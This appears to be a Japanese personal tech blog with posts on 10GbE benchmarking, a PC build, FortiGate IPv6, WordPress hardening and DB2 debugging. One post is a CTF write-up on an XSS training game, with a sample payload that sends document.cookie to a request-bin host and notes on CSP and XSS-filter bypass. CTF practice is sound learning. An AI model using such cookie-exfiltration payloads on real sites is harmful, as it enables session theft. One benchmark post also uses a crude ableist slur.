from electron 2 web

インターネットのリソースを無駄遣いして検索におけるUXを下げてごめんなさい

圧倒的文章力のNASAでゴミみたいなチラ裏のようなメモを量産してしまい全ての"Web開発者"にごめんなさい

10GbE(10000Base-T) nic、始めました。

f:id:lv7777:20180512201900p:plain

Amazon CAPTCHA

上のファンがついてるタイプなんですがなかなかにうるさい。

測定環境

Fatal1ty Z370 Professional Gaming i7(AQUANTIA® 10 ギガビット LAN付き)

i7-8700k

4kモニター(だから何)

windows 10 Pro version 17134.48

設定

まずは電源切って取り付け。実はpcie取り付けたの初めてだったので電圧とか本当にこれでいいのかとか結構怖かった。

その後ドライバーのインストールとかする。付属していたcdのドライバーのインストーラー入れてデバイスマネージャーからアップデートしたらこんなかんじになった。

f:id:lv7777:20180512203611p:plain

ちなみに付属のドライバをwin10のこのバージョンで入れるとこんな感じのメッセージがでてvlanとnicチーミングが出来ない インテル(R) アドバンスト・ネットワーク・サービス (インテル(R) ANS) チームと VLAN は、Microsoft Windows10 ではサポートされていません。

でもなんかのドライバ入れれば出来るっぽい。

追記:出来た

以下のドライバを入れる

downloadcenter.intel.com

最後にnicのifにipを割り振る。こんな感じ

f:id:lv7777:20180512200959p:plain

んで適当にカテ7刺す

計測はめんどくさかったのでwindowsでiperf3を入れた。

10G出ない・・・

X540-T2のif1とif2で測った結果。これは何?

[O] -> .\iperf3.exe -c 192.168.1.10 -B 192.168.1.9
Connecting to host 192.168.1.10, port 5201
[  4] local 192.168.1.9 port 51649 connected to 192.168.1.10 port 5201
[ ID] Interval           Transfer     Bandwidth
[  4]   0.00-1.00   sec   338 MBytes  2.83 Gbits/sec
[  4]   1.00-2.00   sec   382 MBytes  3.20 Gbits/sec
[  4]   2.00-3.00   sec   359 MBytes  3.01 Gbits/sec
[  4]   3.00-4.00   sec   403 MBytes  3.38 Gbits/sec
[  4]   4.00-5.00   sec   356 MBytes  2.99 Gbits/sec
[  4]   5.00-6.00   sec   334 MBytes  2.81 Gbits/sec
[  4]   6.00-7.00   sec   392 MBytes  3.29 Gbits/sec
[  4]   7.00-8.00   sec   343 MBytes  2.88 Gbits/sec
[  4]   8.00-9.00   sec   350 MBytes  2.94 Gbits/sec
[  4]   9.00-10.00  sec   402 MBytes  3.37 Gbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bandwidth
[  4]   0.00-10.00  sec  3.57 GBytes  3.07 Gbits/sec                  sender
[  4]   0.00-10.00  sec  3.57 GBytes  3.07 Gbits/sec                  receiver

ポートとか変えてもこんな感じだったわけですが、インフラ勉強会のcutler先生にウインドウサイズとかいろいろ教えてもらった結果下記のようにちゃんと論理値出るようになった。

本当にありがとうございます。

f:id:lv7777:20180512203308p:plain

測定結果

  • X540-T2のif1とif2で測った結果
[O] -> .\iperf3.exe -c 192.168.1.10 -B 192.168.1.9 -w 1M
Connecting to host 192.168.1.10, port 5201
[  4] local 192.168.1.9 port 52452 connected to 192.168.1.10 port 5201
[ ID] Interval           Transfer     Bandwidth
[  4]   0.00-1.00   sec  1.03 GBytes  8.86 Gbits/sec
[  4]   1.00-2.00   sec  1.07 GBytes  9.17 Gbits/sec
[  4]   2.00-3.00   sec  1.10 GBytes  9.43 Gbits/sec
[  4]   3.00-4.00   sec  1.08 GBytes  9.31 Gbits/sec
[  4]   4.00-5.00   sec  1.09 GBytes  9.39 Gbits/sec
[  4]   5.00-6.00   sec  1.08 GBytes  9.26 Gbits/sec
[  4]   6.00-7.00   sec  1.09 GBytes  9.38 Gbits/sec
[  4]   7.00-8.01   sec  1.08 GBytes  9.20 Gbits/sec
[  4]   8.01-9.00   sec  1014 MBytes  8.59 Gbits/sec
[  4]   9.00-10.00  sec  1.09 GBytes  9.40 Gbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bandwidth
[  4]   0.00-10.00  sec  10.7 GBytes  9.20 Gbits/sec                  sender
[  4]   0.00-10.00  sec  10.7 GBytes  9.20 Gbits/sec                  receiver
[O] -> .\iperf3.exe -c 192.168.1.9 -B 192.168.1.10 -w 1M
Connecting to host 192.168.1.9, port 5201
[  4] local 192.168.1.10 port 52900 connected to 192.168.1.9 port 5201
[ ID] Interval           Transfer     Bandwidth
[  4]   0.00-1.00   sec   750 MBytes  6.29 Gbits/sec
[  4]   1.00-2.01   sec   710 MBytes  5.89 Gbits/sec
[  4]   2.01-3.00   sec   724 MBytes  6.13 Gbits/sec
[  4]   3.00-4.00   sec   716 MBytes  6.01 Gbits/sec
[  4]   4.00-5.00   sec   753 MBytes  6.32 Gbits/sec
[  4]   5.00-6.00   sec   751 MBytes  6.30 Gbits/sec
[  4]   6.00-7.00   sec   733 MBytes  6.15 Gbits/sec
[  4]   7.00-8.00   sec   736 MBytes  6.17 Gbits/sec
[  4]   8.00-9.00   sec   726 MBytes  6.10 Gbits/sec
[  4]   9.00-10.01  sec   744 MBytes  6.18 Gbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bandwidth
[  4]   0.00-10.01  sec  7.17 GBytes  6.15 Gbits/sec                  sender
[  4]   0.00-10.01  sec  7.17 GBytes  6.15 Gbits/sec                  receiver

は?おっそ、ガイジか?

ホンマそういうとこやぞ、という感じ。

conclusion

20.3cm連装砲(10GbE nic)の満足度ヤバい。今は特になんもやくになってないけどdpdkとかクソみたいにポート数あるので10gbeルーター作るとかいろいろできそう

20.3cm連装砲、論理値出てくれるところが本当に良い

i7-8700k+Fatal1ty Z370 Professional Gaming i7におけるQSV(Quick Sync Video)の有効化

8700kの内臓グラフィックはIntel UHD 630である。結論から言うとQSVには対応している。

ASRock > Fatal1ty Z370 Professional Gaming i7

VGAドライバーをインストールすることで有効化できた。 2184327175というエラーが出て録画できなかったがこれで再起動したら録画できるようになった。

日記レベルだがまぁいいや。忘備録替わり。

初心者が自作パソコン組んでみた(575)(i7-8700k+Fatal1ty Z370 Professional Gaming i7)

こんにちは~levena_evenasです。今回は自作パソコン?ってやつに挑戦してみたいと思いまーす。

構成

  • i7-8700k(CPU:4万)

  • Fatal1ty Z370 Professional Gaming i7(M/B:3.2万)

  • 960 Evo 250GB(NVMe:1.2万)

  • RM 850x(電源:2万)

  • CMK16GX4M2A2666C16(メモリ:2万)

  • 虎徹 Mark II(CPUファン:4千)

合計:14万

「14万!? 嘘やろ? こんな小さいPCで14万てぼったくりやろこれ!」と言いたくなったアナタ、ちょっと待ってほしい。拡張性

パーツ構成を選ぶまで

とりあえず高性能なデスクトップパソコンが一機欲しかった。常用はサーバー各位で間に合っているのでクソ高性能なものが欲しかった。

~2018年4月だと大体LGA2011-v3、LGA1151、LGA1150、LGA2066、LGA3647、AMD treadripper、第2世代RyzenなどがハイエンドCPUとなる。

ちなみに今知ったんですがxeon x1x2x3x4のx1の部分は対応できるソケット数を表しているっぽい 例えば2699ならデュアルcpuまで可能的な。

とりあえず一覧を表にしてみた。

f:id:lv7777:20180506192715p:plain

core xシリーズかcoffee lakeか迷ったがcoffee lakeにした。 理由はオンボードgpuついてるしcore xに変えるときもマザボとcpu買ってcpu足すだけで済む。つまりだいたい2~3万足すだけでできるため。

7700kは殿堂入りしており、まさに王道という感じ。ヤフオクで見ても中古でも結構高い。そのため8700kも中古でもそこまで下がらないと考えた。 あと発熱怖かったからチキった。

8700kにしたので次はマザボ。価格コムで調べたが一番z370でよさそうだったのがFatal1ty Z370 Professional Gaming i7。

かなり高い部類に入るがその分良い。10gbeついてるし、オーディオも良いドライバ使ってる。cpieとかsataとかusb3.1 gen2とかのifも多いし、とかwifiとかbtとかほしいもの全部載ってる。メモリも4枚載る。

cpuはパーツショップ行って相談したところ空冷を勧められた。水冷はやっぱ壊れやすいらしい。 しかも壊れたときに気づきにくいらしい。 サーバーなら勝手にとまるのにね。

電源ももっと低いの勧められたけどGPU2枚差しとかやる可能性あるのでこのくらいのにしといた。 高くても故障率とかあんま関係ないらしいし。

メモリやnvmeは適当におすすめ調べてぽちった。PC仮組みしたら多少熱くなったのでM.2 IFでSATAも普通にありかもしれない。

組んだ工程

f:id:lv7777:20180506215123p:plain f:id:lv7777:20180506215152p:plain

MBにcpuつけてcpuファンつけて(大変だった)、ATX電源ケーブルをMBとRM860xでつないで(一度つけると外せないので注意!!!!)、cpu電源ケーブルをMBとRM860xでつないでsataケーブルをSSDとMBでつないでsata電源ケーブルSSD電源ケーブルにつないで終わり。ゴミが完成してしまった f:id:lv7777:20180506215014p:plainf:id:lv7777:20180506215038p:plain

初めて自作PC組んだ感想

自作PC簡単ってよく聞くけど別に簡単ではないよねという感じ。難易度的には「難しいけど難しくない少し難しい自作PC」という感じだった。

Fatal1ty Z370 Professional Gaming i7、自作初心者用じゃないのかほとんど説明無いし。

まだ全然負荷かけてないけど一日使っても全然熱くならない。流石殿堂入りしてるcpuの後継だけある。10GBe、nvme、coffee lakeとか試したかったこと全部載ってるし。

でもpassmark見慣れ過ぎたからか8700kショボみたいな感情になってしまった。いやメインのサーバーの2倍ぐらいの性能あるんですけどね。

今後はデュアルの269[907] v4あたりで優勝したい。

最新のマザボでどれだけいろいろ出来るかみたいなことも書いていきたい。

xss1000本ノックを解いた&その他解いたctf

xss1000本ノックについて

xssがinjectできるページがあり、クエリに不正な文字列を入れてxssを発火させるゲーム。
POCが作成出来たらサーバー側でheadless chrome的なものが動いているのでそこに投げてdocument.cookieを盗み出す(投げると自動でurlを踏んでくれるformがあってそこに入れる)
あとは適当にrequest.bin的なのを使用すればflagが見える。

  1. veln page(injectivle xss)がサーバーから送られてくる

  2. malformed queryをサーバーに投げる

  3. queryをもとにサーバーでhtmlを生成(reflectedの場合)

  4. responseとして帰ってきたページでxssが発火

注意点、ヒント

クエリに+等の文字列は使えない(http://hoge.knock.xss.moe/?q=location="request.bin/xxxxx?"+document.cookieといったものはブラウザが意図したとおりに認識しない)ため、パーセントエンコーディングする必要がある。 sqlインジェクション等でselect+sql+from+sql_tableといった文字列を見たことがあるかもしれないがこれと同じで空白として認識されるから(たぶん)

個人的良問

Stage7・・・xssだが<>といった文字列がサニタイジングされるため、属性のみで発火する必要がある。input textには即時発火させる属性は無いため複数の属性を組み合わせて即時発火のxssを作る必要がある。

stage 12・・・cspをbypassさせる。

stage 13・・・mage問。x-xss-protection(xssフィルタ)をbypassさせる。クソ大変だった。

stage 14・・・csp bypass問その2。sopを体系的に理解してれば解ける。

参考資料

解くときのヒント、参考になるもの。とはいってもwebにおいてggr力もかなり大切なのでそういった意味では自力でggrのも良いかも。

「観覧注意」・・・writeup。12までは普通にシュッと解けるし13以降も時間かければ解けるのであまり見るのをおすすめしない。
狗子的XSS學習之旅 - 掃文資訊

XSS フィルター回避チートシート - OWASP

Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa/filterbypass Wiki · GitHub

CSP に関するチートシート - OWASP

クロスドメイン制約 を document.domain の 変更 で 回避 - galife

色んなXSS – nootropic.me

XSSパターン

TECHNICAL MANUAL

以下は直接参考にはならないがxssの理解や高度なxss

ブラウザのXSSフィルタを利用した情報窃取攻撃 | MBSD Blog

396544 - Security: XSS filter information leak - chromium - Monorail

X-XSS-Nightmare: 1; mode=attack ~XSSフィルターを利用したXSS攻撃~

CSP Lv.2の話

http://masatokinugawa.l0.cm/2016/12/xss9.html

雑記

最近はctfをやりまくっている。

asis ctfに個人チームで出て自明問題を2問解いたがweb系でまたしても全滅してしまったので悔しかったため。

相変わらずharekazeではst98先生が無双していた。終了後にharekazeのasisctfチャンネル見たら本当に着眼点がすごくて自分じゃ絶対できないなっていう着眼点から解法にたどり着いていたのですげぇってなったしはやくこれになりたいってなった。

とりあえずweb問ということでsqlインジェクションphpのバグを突く系の問題が苦手だったのでwargame.krを解いた。どちらのジャンルも良問だった。

maguroのrailsとか解いた。rack特有のアでアしてアな問題だった。こういう言語特有系の問題もっと解きたい。

xss1000本ノックはstage14で止まってる(pocはできてるのであとはセッション盗むだけ、時間かければたぶん解けるけどいったん休憩)

今自分がやってる常設のweb問はだいたい解き散らかしてしまった。

今後はpicoctf2017のweb全完、wargame.krとかやっていきたい。とりあえず今までやってた常設で自明のSimple Auth II(ksnctf)はメインのサーバーにrdp使えるようになったらすぐ解く(ちょっと諸事情があり鯖が使えない)

あとksnで残ってるのはKanGachaとシャーロックホームズだけ、どちらも特殊なweb系だからなぁ。だるい。

ksnctf暗号もどき多くないですか?

fortigate 5.4.5とHEでipv6運用(nat64無し)

fortigateバージョン

GateOfSecurity # get system status 
Version: FortiWiFi-60D v5.4.5,build1138,170531 (GA)

基本的には下記の流れに沿っていく。下記2記事を組み合わせた感じ。
Firewall Solution: Configure IPv6 sit-tunnel in Fortigate FortiOS 5
[Fortigate][IPv6] Fortigate を使用してIPv6を使う方法。(Hurricane Electric Free IPv6 Tunnel Broker編) #ipv6study: いつか、そのとき、あの場所で。

1 HEでipv6ブロックを作る
2 HEのexample configをコピペ
3 execute ping6 ipv6.google.comでルータからインターネットまでがipv6で通ることを確認
4 HEで/64アドレスの他に/48アドレスを割り当てる(Routed IPv6 prefixesってとこ)
f:id:lv7777:20180423123628p:plain

5 internalの設定(この設定はHEからinternal内の機器にさっき割り当てた/48アドレスを割り当てるための設定)

config system interface   
  # your internal interface name may be different   
  edit "internal"   
   ...   
   config ipv6    
   set ip6-allowaccess ping https ssh snmp    
   set ip6-address "2001:470:ec16::1" # この例は48で割り当てた最初のアドレス
   set ip6-send-adv enable    # 先にこいつを有効にしないとipv6-prefix-listが設定出来ない
   set ip6-manage-flag enable    
   set ip6-other-flag enable    
    config ip6-prefix-list    
    edit "2001:470:ec16::/48"    
     set autonomous-flag disable  
     set onlink-flag enable    
    next    
    end    
   end    
  next    
 end   

6 v6アドレスオブジェクトとv6ポリシーを作る

config firewall address6  
   edit "all"  
   next  
   edit "net_2001:470:ec16::/48"  
     set ip6 2001:470:ec16::/48 #internalに割り当てた/48のアドレス
   next  
 end  
config firewall policy6  
   edit 1  
     set srcintf "HE"  
     set dstintf "internal"  
     set srcaddr "all"  
     set dstaddr "net_2001:470:ec16::/48"  
     set action accept  
     set schedule "always"  
     set service "ALL_ICMP6"  
   next  
   edit 2  
     set srcintf "internal"  
     set dstintf "HE"  
     set srcaddr "net_2001:470:ec16::/48"  
     set dstaddr "all"  
     set action accept  
     set schedule "always"  
     set service "ALL"  
   next  
 end     

7 internal内のクライアントからルーターまでのping6が通るか確認
この時点ではdhcpv6サーバーが無いからv6リンクローカルアドレスを使用していることに注意

ping -6 2001:470:ec16::1 #ルーターのifに割り当てたアドレス

  • diagしながらだと更に効率的
    diag sniffer packet any "icmp6" 4
    fortigate上ですべてのifに来たping6を取得、あとはクライアント側ではwiresharkとか。

windowsの場合はプロパティからipv6が有効になってるか確認する。linux(ubuntu 16系)の場合は下記記事参照

IPv6有効化手順(Ubuntu 16.04) – さくらのサポート情報

8 fortigate上にdhcpv6サーバーを作る
下記記事のDHCP6/DNS、Configure DHCP6 serverのコマンドを実行

Firewall Solution: Configure IPv6 sit-tunnel in Fortigate FortiOS 5

9 ipconfig /renewや下記記事によってinternalのクライアントに/48のipv6が割り当てられるか確認

今回の例なら2001:470:ec16::2とか振られる

IPv6有効化手順(Ubuntu 16.04) – さくらのサポート情報

8 ping -6 ipv6.google.com
ちゃんとクライアントにipv6グローバルアドレスが振られてれば通るはず

configとか設定前とのdiff欲しかったらコメント下さい

kusanagi.lv7777.orgに再度息を吹き込んだときに行ったセキュリティ対策

本記事は以下の記事の続きです。

lv7777.hatenablog.com

一年前ぐらいにkusanagi.lv7777.orgを作って、その後1ヶ月ぐらいは更新していたんですが結局放置していた。 無駄に金取られてもったいなかったのでshutdownさせておいたので久々に起動させたらいろいろ古くなってた。

というかドメインすらなくなってた。

また、今回はkusanagiを載せてるwebサーバーをnginxじゃなくてapacheに変えてみた。

kusanagi nginxやkusanagi httpdコマンドで切り替えられる。すげぇ・・・一発だ・・・

というかkusanagiではapacheかnginxのどちらか一つしか起動しないことを知らなかった・・・

yumの自動アップデート設定

yum install yum-cronをインストールして/etc/yum/yum-cron.confをいじる

CentOS7のyum自動アップデート - tsunokawaのはてなダイアリー

yumのアップデート

yum update -y

kusanagi wordpressのアップデート

wp core update
wp core language update
wp plugin update --all
wp theme update --all
kusanagi update
kusanagi update cert
kusanagi update plugin
kusanagi ssl --auto
kusanagi restart

KUSANAGIのアップデートをしてみよう | KUSANAGI MAGAZINE kusanagiの公式めちゃわかりやすくて泣いてる

clamavのインストール

何かの間違いでbackdoor作られてchina-chopper-shellとかweb-shellとか入れられたらたまらないからね

CentOS7へclamavインストール(epelリポジトリ使用) | server-memo.net

wp-configの配置場所変更

あ、permissionはあまり変えないほうがいい。変えると挙動バグる。

kusanagi.tokyo

basic認証の追加

DocumentRoot以下にある.htaccess.bakを.htaccessにcpする。 その後、vimAllow from 127.0.0.1でコメントされている部分を有効にする。逆にAllow from allとなっている部分をコメントアウト

その後htpasswdコマンドでid/pwを設定し、適切な場所(/home/kusanagi/.htpasswd)に配置、パーミッションとかユーザーとか気をつけて。

htaccessが動かない・エラー時

推奨するセキュリティ対応 – KUSANAGI


私がやったのはこのくらい

ちなみに包括的なセキュリティの確認はダッシュボード画面でも確認できた(結構アだったので全部修正した) f:id:lv7777:20180305133544p:plain

本当は前段にwafかましてアクセス解析しながらシグネチャチューニングとかもしたいのだけど・・・

DB2にかなり詳しくなちゃった話(db2のデバッグ等)

自社システムのアップデートを全て俺が担当していてその中でdb2使ってるんですが謎のバグに襲われてひたすらdb2の挙動をanalyzeしていた。

ちゅらい。

発生した事象

db2インストール後rebootするとsqlコマンドが実行できない。

再起動前はdb2 "select * from HOGE_TABLE"でちゃんと結果が返ってくるのに再起動後はSQL1024N データベース接続が存在しません。 SQLSTATE=08003とか言われる。

お願い

この事象の解決方法知っている人いたら助けてくれ頼む。寿司ビールおごるから。(それはmysql) 良い子のみんななら解決方法知ってるんでしょ?頼む・・・辛すぎて猫になりそう。

db2デバッグについて

db2はでかいだけあっていろんなコンポーネントから出来ているしその分いろんなデバッグ方法もある。db2db2 udbというrdbmsを含めた一連のシステム群になっている

デバッグコマンド関係

  • db2diag 基本のやつ。/home/sqllib/db2dump/db2diag.logを表示する。-lオプションとか使える。

  • db2evmon db2のイベントをモニターする事が出来る。db2evmonはまずイベントファイルを作成してそれを使ってmonitor出力する感じ。イベントモニターファイルにもいろいろある。 表イベントモニターとか。

[db2inst1@test root]$ db2 connect reset
DB20000I  SQL コマンドが正常に完了しました。
[db2inst1@test root]$ db2 connect to XXX

   データベース接続情報

 データベース・サーバー                                   = DB2/LINUXX8664 9.7.4
 SQL 許可 ID                                              = DB2INST1
 ローカル・データベース別名                               = XXX

[db2inst1@test root]$ db2 SELECT EVMONNAME, TARGET_TYPE, TARGET FROM SYSCAT.EVENTMONITORS

EVMONNAME                                                                                                                        TARGET_TYPE TARGET                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             
-------------------------------------------------------------------------------------------------------------------------------- ----------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
DB2DETAILDEADLOCK                                                                                                                F           db2detaildeadlock                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  
SQL_EV                                                                                                                           F           /tmp/sql_ev                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        
SQL_EV2                                                                                                                          F           /tmp/sql_ev2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       

  3 レコードが選択されました。

[db2inst1@test root]$ db2
(c) Copyright IBM Corporation 1993,2007
DB2 クライアント 9.7.4 コマンド行プロセッサー

db2 => create event monitor learnmon for statements write to file '/tmp/learnmon'
DB20000I  SQL コマンドが正常に完了しました。
db2 => ^C[db2inst1@test root]$
[db2inst1@test root]$ mkdir /tmp/learnmon
[db2inst1@test root]$ exit
exit
[root@test ~]# chmod 777 /tmp/learnmon/
[root@test ~]# su db2inst1
[db2inst1@test root]$ db2 connect to XXX

   データベース接続情報

 データベース・サーバー                                   = DB2/LINUXX8664 9.7.4
 SQL 許可 ID                                              = DB2INST1
 ローカル・データベース別名                               = XXX

[db2inst1@test root]$ db2
(c) Copyright IBM Corporation 1993,2007
DB2 クライアント 9.7.4 コマンド行プロセッサー

db2 => set event monitor learnmon state 1
DB20000I  SQL コマンドが正常に完了しました。
db2 => ^C[db2inst1@test root]$
[db2inst1@test root]$ db2evmon -db XXX -evm learnmon > /tmp/leanmon_txt.txt
  • db2trc db2の動きをトレースできる。 トレースした後dumpしてdumpファイルをdb2trc flowコマンドで変換するという流れ。 dasの動きだからメモリの動向とかパフォーマンスチューニング的なやつ。あまり意味無い。

  • db2audit db2の監査を行う。 ポリシーの定義、ポリシーとユーザーの紐付け、start stop flush、アーカイブ https://www16.atwiki.jp/rinn/pages/71.html db2audit start db2audit stop

    • db2audit describe 現在のポリシーの設定を表示する。bothがベスト。failture、successは失敗、成功したもののみロギング
    • db2audit configure 現在のポリシーの設定を変更する。sqlでも定義できるけどね。 db2audit configure scope all status both 全部つける。
    • db2audit extract 記録したバイナリファイルからテキスト形式で抜き出す。db2trcみたいな。 db2audit extract file "/tmp/owari.txt" from files db2audit.instance.log.0.20180206161739

監査記録って感じ。

timestamp=2018-02-06-16.16.52.498535;
  category=CONTEXT;
  audit event=ATTACH;
  event correlator=1;
  userid=db2inst1;
  authid=DB2INST1;
  application id=*LOCAL.db2inst1.180206112210;
  application name=db2audit;

timestamp=2018-02-06-16.16.52.499429;
  category=VALIDATE;
  audit event=AUTHENTICATION;
  event correlator=1;
  event status=0;
  userid=db2inst1;
  authid=DB2INST1;
  execution id=db2inst1;
  application id=*LOCAL.db2inst1.180206112210;
  application name=db2audit;
  auth type=SERVER;
  plugin name=IBMOSauthserver;
  • db2ps db2trcとあんまかわらん。psのメモリ情報とか取得する感じ。パフォーマンスチューニング系か。

  • asnqcap なぞ。調べたけどよく分からんかった。 asnqcap capture_server=db2inst1

db2のconfig等の確認

db cfgはdbのテーブルレベルで保管される。ちなみにdb cfgで()が付いていないcfgは変更できない db2 get db cfg for TABLES

dbm cfgなんてものもある。これはdb managerが持っているもの。 db managerはメモリとかdiskとかを最適な値に割り振るやつ。 oracle dbでもあったなぁこんなやつ。 db2 get dbm cfg

レジスト変数なんてものもある。windowsレジストリみたいな。実態は/home/sqllib/profile.envにある。 db2set -all

あとは環境変数環境変数レジストリ変数の違いはレジストリ変数はdb2setコマンドを使って設定すればrebootが必要ないのに対し、環境変数の変更を有効にする為にはrebootが必要になる。

環境変数値はdb2instanceとか。

変数系を変更するにはdb2setの他にdb2caとかも使用できる。

db2set -allの実行結果はこんな感じになる。iとかgはinstanceとglobalの略。instance固有の値を持つものとdb2全体で有効になるやつ。

[i] DB2COMM=tcpip
[i] DB2AUTOSTART=YES
[g] DB2_COMPATIBILITY_VECTOR=MYS
[g] DB2SYSTEM=test
[g] DB2INSTDEF=db2inst1
[g] DB2ADMINSERVER=dasusr1

あとdb2 valuesとかも結構使えるな。

ログ関係

ログ一覧:http://www-01.ibm.com/support/docview.wss?uid=swg21632267

  • db2diag.log
  • トランザクションログ 以下のコマンドの場所にある。バイナリだし人間が見てもあんまデバッグには使えない。 S000000.LOGみたいな名前。 db2 get db cfg for LST | grep LOG
  • historyファイル 使えそうな名前だがあんまデバッグには使えない。リカバリー履歴ファイルはdbごとに作成されバックアップの取得やリストア、表スペースの変更やログファイルの取得などが記録される。 db2rhist.ascとか。
  • 管理通知ログ /home/db2inst1/sqllib/db2dump/db2inst1.nty 流石にdb2diag.logよりは情報無いか。
  • daslog database administration server dasなのであんま期待はできないが良さそうなログ。 /home/dasusr1/das/dump/db2dasdiag.logとかにある
  • インスタンス起動ログ /home/db2inst1/sqllib/log/にある。かなり良さそう。エラーなければ特に出ない。
  • db2eventlog db2diag logと何が違うのか大して分からん。

他にもコマンド叩いたときに初めて有効になるログとかいろいろある。

おまけ(db2のプロセスとか)

db2fmpについて

db2fmp は fenced ストアード・プロシージャーおよびユーザー定義関数を実行するプロセスです。

http://www-01.ibm.com/support/docview.wss?uid=swg21589183

直前のdb2stopによって出力されたやつなのでdb2fmpやdb2acdのエラーは問題なし。

db2fs

db2 first stepの略

db2sampl(https://www.ibm.com/support/knowledgecenter/ja/SSEPGG_9.7.0/com.ibm.db2.luw.admin.cmd.doc/doc/r0001934.html) などと合わせて使うとよさそう。入門者的には嬉しいコマンド。

db2sync

db2シンクロナイザー。configu guiも持っていたりする。

おまけ2(入門時に調べた小ネタとかざっくばらんに書いておく)

全般

db2 udb...ユニバーサルデータベースのこと。 db2db2 udbというrdbmsを含めた一連のシステム群になっている

db2のベストハイエンドはDWE

db2のconfig

db2のconfigは構成パラメーターという。ググる場合はこの言葉を使うとよし。

構成パラメーターファイルはdb2systmファイル、SQLDBCONFファイルに入っているが どちらのファイルも直接編集することは出来ない。

レジストリ変数を確認するならdb2set -allを使う。

キーワードを持たないフィールドは、データベース・マネージャーが保守します。 そのようなフィールドを更新することはできません。

lstをインストールすると/home/TMP/LST/SQL00001.TDAというのが出来る。

TDAについて

https://www.ibm.com/support/knowledgecenter/ja/SSEPGG_9.7.0/com.ibm.db2.luw.admin.perf.doc/doc/c0024781.html

表再編成のときのソート(表をクローンして再度構成するときにするソート)で使う。

db2XXXXというコマンド各位について

あれはdb2inst1/sqllib/bin/以下に入ってる。

db2fmcuについて

db2fmcuは落ちた(バグで落ちた、rebootした)後db2インスタンスの自動再起動を行うプロセス的なの

udf

user define function ユーザー定義関数

dasprofile

db2profileはkorn shell用の設定なのでbashには関係ない。

DB2_COMPATIVIRITY_VECTOR

db2set -allで表示できるレジスタ変数の一部 MYSはmysqlの値となる。他にもoraとか設定できる。

express-cだと効かない。一応効くけど微妙

http://www-01.ibm.com/support/docview.wss?uid=swg21503288

db2 connect to XXX using YYY

using yyyはパスワード。

db2(odbc)(programから使用するとき)

odbcsqlを実行するときには必ずcursorが使用される。

http://sql55.com/t-sql/t-sql-cursor-example.php http://www.atmarkit.co.jp/ait/articles/0801/21/news117.html

cursorはオラクルとかms serverとか他の鯖にも結構ある。 selectしたものをforするときのポインタみたいなやつ、謎。

http://www005.upp.so-net.ne.jp/khayashi/db2da/tracing.html

db2setupでrspするとき

nlpackディレクトリはdb2ディレクトリのと同じフォルダに置くこと。